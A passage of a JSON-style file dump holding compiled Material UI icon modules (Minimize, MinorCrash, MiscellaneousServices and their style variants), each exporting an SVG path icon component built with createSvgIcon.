    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19h12v2H6z\"\n}), 'Minimize');"
  },
  {
    "path": "packages/mui-icons-material/lib/Minimize.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19h12v2H6z\"\n}), 'Minimize');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinimizeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19h12v2H6z\"\n}), 'MinimizeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinimizeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19h12v2H6z\"\n}), 'MinimizeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinimizeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 19h10c.55 0 1 .45 1 1s-.45 1-1 1H7c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'MinimizeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinimizeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 19h10c.55 0 1 .45 1 1s-.45 1-1 1H7c-.55 0-1-.45-1-1s.45-1 1-1\"\n}), 'MinimizeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinimizeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19h12v2H6z\"\n}), 'MinimizeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinimizeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19h12v2H6z\"\n}), 'MinimizeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinimizeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19h12v2H6z\"\n}), 'MinimizeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinimizeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19h12v2H6z\"\n}), 'MinimizeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinorCrash.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 9.01C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01L3 15v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 10h10.29l1.04 3H5.81zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M9.41 5 8 6.41l-3-3L6.41 2zM16 6.41 14.59 5l3-3L19 3.41zM13 5h-2V0h2z\"\n}), 'MinorCrash');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinorCrash.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 9.01C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01L3 15v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 10h10.29l1.04 3H5.81zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M9.41 5 8 6.41l-3-3L6.41 2zM16 6.41 14.59 5l3-3L19 3.41zM13 5h-2V0h2z\"\n}), 'MinorCrash');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinorCrashOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.92 9.01C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01L3 15v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 10h10.29l1.04 3H5.81zM19 20H5v-5h14zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M9.41 5 8 6.41l-3-3L6.41 2zM16 6.41 14.59 5l3-3L19 3.41zM13 5h-2V0h2z\"\n}), 'MinorCrashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinorCrashOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 9.01C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01L3 15v8c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-1h12v1c0 .55.45 1 1 1h1c.55 0 1-.45 1-1v-8zM6.85 10h10.29l1.04 3H5.81zM19 20H5v-5h14zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M9.41 5 8 6.41l-3-3L6.41 2zM16 6.41 14.59 5l3-3L19 3.41zM13 5h-2V0h2z\"\n}), 'MinorCrashOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinorCrashRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 24c.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66l-1.97-5.67C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.68 1.5 1.5 1.5S6 23.33 6 22.5V22h12v.5c0 .83.67 1.5 1.5 1.5M6.85 10h10.29l1.04 3H5.81zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M8.71 5.71c-.39.39-1.02.39-1.41 0L5.71 4.12c-.39-.39-.39-1.02 0-1.41s1.02-.39 1.41 0L8.71 4.3c.39.38.39 1.02 0 1.41m9.58-3c.39.39.39 1.02 0 1.41L16.7 5.71c-.39.39-1.02.39-1.41 0s-.39-1.02 0-1.41l1.59-1.59c.39-.39 1.02-.39 1.41 0M12 5c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'MinorCrashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinorCrashRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 24c.82 0 1.5-.67 1.5-1.5v-7.16c0-.22-.04-.45-.11-.66l-1.97-5.67C18.72 8.42 18.16 8 17.5 8h-11c-.66 0-1.21.42-1.42 1.01l-1.97 5.67c-.07.21-.11.43-.11.66v7.16c0 .83.68 1.5 1.5 1.5S6 23.33 6 22.5V22h12v.5c0 .83.67 1.5 1.5 1.5M6.85 10h10.29l1.04 3H5.81zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M8.71 5.71c-.39.39-1.02.39-1.41 0L5.71 4.12c-.39-.39-.39-1.02 0-1.41s1.02-.39 1.41 0L8.71 4.3c.39.38.39 1.02 0 1.41m9.58-3c.39.39.39 1.02 0 1.41L16.7 5.71c-.39.39-1.02.39-1.41 0s-.39-1.02 0-1.41l1.59-1.59c.39-.39 1.02-.39 1.41 0M12 5c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1s1 .45 1 1v3c0 .55-.45 1-1 1\"\n}), 'MinorCrashRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinorCrashSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.57 8H5.43L3 15v9h3v-2h12v2h3v-9zM6.85 10h10.29l1.04 3H5.81zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M9.41 5 8 6.41l-3-3L6.41 2zM16 6.41 14.59 5l3-3L19 3.41zM13 5h-2V0h2z\"\n}), 'MinorCrashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinorCrashSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.57 8H5.43L3 15v9h3v-2h12v2h3v-9zM6.85 10h10.29l1.04 3H5.81zM6 17.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5S8.33 19 7.5 19 6 18.33 6 17.5m9 0c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5M9.41 5 8 6.41l-3-3L6.41 2zM16 6.41 14.59 5l3-3L19 3.41zM13 5h-2V0h2z\"\n}), 'MinorCrashSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinorCrashTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 15v5h14v-5zm2.5 4c-.83 0-1.5-.67-1.5-1.5S6.67 16 7.5 16s1.5.67 1.5 1.5S8.33 19 7.5 19m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.41 5 8 6.41l-3-3L6.41 2zM19 3.41 17.59 2l-3 3L16 6.41zM13 0h-2v5h2zm8 15v8c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-1H6v1c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-8l2.08-5.99C5.29 8.42 5.84 8 6.5 8h11c.66 0 1.22.42 1.42 1.01zM5.81 13h12.38l-1.04-3H6.85zM19 15H5v5h14zM7.5 19c.83 0 1.5-.67 1.5-1.5S8.33 16 7.5 16 6 16.67 6 17.5 6.67 19 7.5 19m9 0c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5\"\n}, \"1\")], 'MinorCrashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MinorCrashTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 15v5h14v-5zm2.5 4c-.83 0-1.5-.67-1.5-1.5S6.67 16 7.5 16s1.5.67 1.5 1.5S8.33 19 7.5 19m9 0c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.41 5 8 6.41l-3-3L6.41 2zM19 3.41 17.59 2l-3 3L16 6.41zM13 0h-2v5h2zm8 15v8c0 .55-.45 1-1 1h-1c-.55 0-1-.45-1-1v-1H6v1c0 .55-.45 1-1 1H4c-.55 0-1-.45-1-1v-8l2.08-5.99C5.29 8.42 5.84 8 6.5 8h11c.66 0 1.22.42 1.42 1.01zM5.81 13h12.38l-1.04-3H6.85zM19 15H5v5h14zM7.5 19c.83 0 1.5-.67 1.5-1.5S8.33 16 7.5 16 6 16.67 6 17.5 6.67 19 7.5 19m9 0c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5-1.5.67-1.5 1.5.67 1.5 1.5 1.5\"\n}, \"1\")], 'MinorCrashTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/MiscellaneousServices.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.17 13.71 1.4-2.42c.09-.15.05-.34-.08-.45l-1.48-1.16c.03-.22.05-.45.05-.68s-.02-.46-.05-.69l1.48-1.16c.13-.11.17-.3.08-.45l-1.4-2.42c-.09-.15-.27-.21-.43-.15l-1.74.7c-.36-.28-.75-.51-1.18-.69l-.26-1.85c-.03-.16-.18-.29-.35-.29h-2.8c-.17 0-.32.13-.35.3L6.8 4.15c-.42.18-.82.41-1.18.69l-1.74-.7c-.16-.06-.34 0-.43.15l-1.4 2.42c-.09.15-.05.34.08.45l1.48 1.16c-.03.22-.05.45-.05.68s.02.46.05.69l-1.48 1.16c-.13.11-.17.3-.08.45l1.4 2.42c.09.15.27.21.43.15l1.74-.7c.36.28.75.51 1.18.69l.26 1.85c.03.16.18.29.35.29h2.8c.17 0 .32-.13.35-.3l.26-1.85c.42-.18.82-.41 1.18-.69l1.74.7c.16.06.34 0 .43-.15M8.81 11c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m13.11 7.67-.96-.74c.02-.14.04-.29.04-.44s-.01-.3-.04-.44l.95-.74c.08-.07.11-.19.05-.29l-.9-1.55c-.05-.1-.17-.13-.28-.1l-1.11.45c-.23-.18-.48-.33-.76-.44l-.17-1.18c-.01-.12-.11-.2-.21-.2h-1.79c-.11 0-.21.08-.22.19l-.17 1.18c-.27.12-.53.26-.76.44l-1.11-.45c-.1-.04-.22 0-.28.1l-.9 1.55c-.05.1-.04.22.05.29l.95.74c-.02.14-.03.29-.03.44s.01.3.03.44l-.95.74c-.08.07-.11.19-.05.29l.9 1.55c.05.1.17.13.28.1l1.11-.45c.23.18.48.33.76.44l.17 1.18c.02.11.11.19.22.19h1.79c.11 0 .21-.08.22-.19l.17-1.18c.27-.12.53-.26.75-.44l1.12.45c.1.04.22 0 .28-.1l.9-1.55c.06-.09.03-.21-.05-.28m-4.29.16c-.74 0-1.35-.6-1.35-1.35s.6-1.35 1.35-1.35 1.35.6 1.35 1.35-.61 1.35-1.35 1.35\"\n}), 'MiscellaneousServices');"
  },
  {
    "path": "packages/mui-icons-material/lib/MiscellaneousServices.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.17 13.71 1.4-2.42c.09-.15.05-.34-.08-.45l-1.48-1.16c.03-.22.05-.45.05-.68s-.02-.46-.05-.69l1.48-1.16c.13-.11.17-.3.08-.45l-1.4-2.42c-.09-.15-.27-.21-.43-.15l-1.74.7c-.36-.28-.75-.51-1.18-.69l-.26-1.85c-.03-.16-.18-.29-.35-.29h-2.8c-.17 0-.32.13-.35.3L6.8 4.15c-.42.18-.82.41-1.18.69l-1.74-.7c-.16-.06-.34 0-.43.15l-1.4 2.42c-.09.15-.05.34.08.45l1.48 1.16c-.03.22-.05.45-.05.68s.02.46.05.69l-1.48 1.16c-.13.11-.17.3-.08.45l1.4 2.42c.09.15.27.21.43.15l1.74-.7c.36.28.75.51 1.18.69l.26 1.85c.03.16.18.29.35.29h2.8c.17 0 .32-.13.35-.3l.26-1.85c.42-.18.82-.41 1.18-.69l1.74.7c.16.06.34 0 .43-.15M8.81 11c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m13.11 7.67-.96-.74c.02-.14.04-.29.04-.44s-.01-.3-.04-.44l.95-.74c.08-.07.11-.19.05-.29l-.9-1.55c-.05-.1-.17-.13-.28-.1l-1.11.45c-.23-.18-.48-.33-.76-.44l-.17-1.18c-.01-.12-.11-.2-.21-.2h-1.79c-.11 0-.21.08-.22.19l-.17 1.18c-.27.12-.53.26-.76.44l-1.11-.45c-.1-.04-.22 0-.28.1l-.9 1.55c-.05.1-.04.22.05.29l.95.74c-.02.14-.03.29-.03.44s.01.3.03.44l-.95.74c-.08.07-.11.19-.05.29l.9 1.55c.05.1.17.13.28.1l1.11-.45c.23.18.48.33.76.44l.17 1.18c.02.11.11.19.22.19h1.79c.11 0 .21-.08.22-.19l.17-1.18c.27-.12.53-.26.75-.44l1.12.45c.1.04.22 0 .28-.1l.9-1.55c.06-.09.03-.21-.05-.28m-4.29.16c-.74 0-1.35-.6-1.35-1.35s.6-1.35 1.35-1.35 1.35.6 1.35 1.35-.61 1.35-1.35 1.35\"\n}), 'MiscellaneousServices');"
  },
  {
    "path": "packages/mui-icons-material/lib/MiscellaneousServicesOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.17 13.71 1.4-2.42c.09-.15.05-.34-.08-.45l-1.48-1.16c.03-.22.05-.45.05-.68s-.02-.46-.05-.69l1.48-1.16c.13-.11.17-.3.08-.45l-1.4-2.42c-.09-.15-.27-.21-.43-.15l-1.74.7c-.36-.28-.75-.51-1.18-.69l-.26-1.85c-.03-.16-.18-.29-.35-.29h-2.8c-.17 0-.32.13-.35.3L6.8 4.15c-.42.18-.82.41-1.18.69l-1.74-.7c-.16-.06-.34 0-.43.15l-1.4 2.42c-.09.15-.05.34.08.45l1.48 1.16c-.03.22-.05.45-.05.68s.02.46.05.69l-1.48 1.16c-.13.11-.17.3-.08.45l1.4 2.42c.09.15.27.21.43.15l1.74-.7c.36.28.75.51 1.18.69l.26 1.85c.03.16.18.29.35.29h2.8c.17 0 .32-.13.35-.3l.26-1.85c.42-.18.82-.41 1.18-.69l1.74.7c.16.06.34 0 .43-.15M8.81 11c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m13.11 7.67-.96-.74c.02-.14.04-.29.04-.44s-.01-.3-.04-.44l.95-.74c.08-.07.11-.19.05-.29l-.9-1.55c-.05-.1-.17-.13-.28-.1l-1.11.45c-.23-.18-.48-.33-.76-.44l-.17-1.18c-.01-.12-.11-.2-.21-.2h-1.79c-.11 0-.21.08-.22.19l-.17 1.18c-.27.12-.53.26-.76.44l-1.11-.45c-.1-.04-.22 0-.28.1l-.9 1.55c-.05.1-.04.22.05.29l.95.74c-.02.14-.03.29-.03.44s.01.3.03.44l-.95.74c-.08.07-.11.19-.05.29l.9 1.55c.05.1.17.13.28.1l1.11-.45c.23.18.48.33.76.44l.17 1.18c.02.11.11.19.22.19h1.79c.11 0 .21-.08.22-.19l.17-1.18c.27-.12.53-.26.75-.44l1.12.45c.1.04.22 0 .28-.1l.9-1.55c.06-.09.03-.21-.05-.28m-4.29.16c-.74 0-1.35-.6-1.35-1.35s.6-1.35 1.35-1.35 1.35.6 1.35 1.35-.61 1.35-1.35 1.35\"\n}), 'MiscellaneousServicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MiscellaneousServicesOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m14.17 13.71 1.4-2.42c.09-.15.05-.34-.08-.45l-1.48-1.16c.03-.22.05-.45.05-.68s-.02-.46-.05-.69l1.48-1.16c.13-.11.17-.3.08-.45l-1.4-2.42c-.09-.15-.27-.21-.43-.15l-1.74.7c-.36-.28-.75-.51-1.18-.69l-.26-1.85c-.03-.16-.18-.29-.35-.29h-2.8c-.17 0-.32.13-.35.3L6.8 4.15c-.42.18-.82.41-1.18.69l-1.74-.7c-.16-.06-.34 0-.43.15l-1.4 2.42c-.09.15-.05.34.08.45l1.48 1.16c-.03.22-.05.45-.05.68s.02.46.05.69l-1.48 1.16c-.13.11-.17.3-.08.45l1.4 2.42c.09.15.27.21.43.15l1.74-.7c.36.28.75.51 1.18.69l.26 1.85c.03.16.18.29.35.29h2.8c.17 0 .32-.13.35-.3l.26-1.85c.42-.18.82-.41 1.18-.69l1.74.7c.16.06.34 0 .43-.15M8.81 11c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m13.11 7.67-.96-.74c.02-.14.04-.29.04-.44s-.01-.3-.04-.44l.95-.74c.08-.07.11-.19.05-.29l-.9-1.55c-.05-.1-.17-.13-.28-.1l-1.11.45c-.23-.18-.48-.33-.76-.44l-.17-1.18c-.01-.12-.11-.2-.21-.2h-1.79c-.11 0-.21.08-.22.19l-.17 1.18c-.27.12-.53.26-.76.44l-1.11-.45c-.1-.04-.22 0-.28.1l-.9 1.55c-.05.1-.04.22.05.29l.95.74c-.02.14-.03.29-.03.44s.01.3.03.44l-.95.74c-.08.07-.11.19-.05.29l.9 1.55c.05.1.17.13.28.1l1.11-.45c.23.18.48.33.76.44l.17 1.18c.02.11.11.19.22.19h1.79c.11 0 .21-.08.22-.19l.17-1.18c.27-.12.53-.26.75-.44l1.12.45c.1.04.22 0 .28-.1l.9-1.55c.06-.09.03-.21-.05-.28m-4.29.16c-.74 0-1.35-.6-1.35-1.35s.6-1.35 1.35-1.35 1.35.6 1.35 1.35-.61 1.35-1.35 1.35\"\n}), 'MiscellaneousServicesOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/MiscellaneousServicesRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m14.17 13.71 1.4-2.42c.09-.15.05-.34-.08-.45l-1.48-1.16c.03-.22.05-.45.05-.68s-.02-.46-.05-.69l1.48-1.16c.13-.11.17-.3.08-.45l-1.4-2.42c-.09-.15-.27-.21-.43-.15l-1.74.7c-.36-.28-.75-.51-1.18-.69l-.26-1.85c-.03-.16-.18-.29-.35-.29h-2.8c-.17 0-.32.13-.35.3L6.8 4.15c-.42.18-.82.41-1.18.69l-1.74-.7c-.16-.06-.34 0-.43.15l-1.4 2.42c-.09.15-.05.34.08.45l1.48 1.16c-.03.22-.05.45-.05.68s.02.46.05.69l-1.48 1.16c-.13.11-.17.3-.08.45l1.4 2.42c.09.15.27.21.43.15l1.74-.7c.36.28.75.51 1.18.69l.26 1.85c.03.16.18.29.35.29h2.8c.17 0 .32-.13.35-.3l.26-1.85c.42-.18.82-.41 1.18-.69l1.74.7c.16.06.34 0 .43-.15M8.81 11c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2m13.11 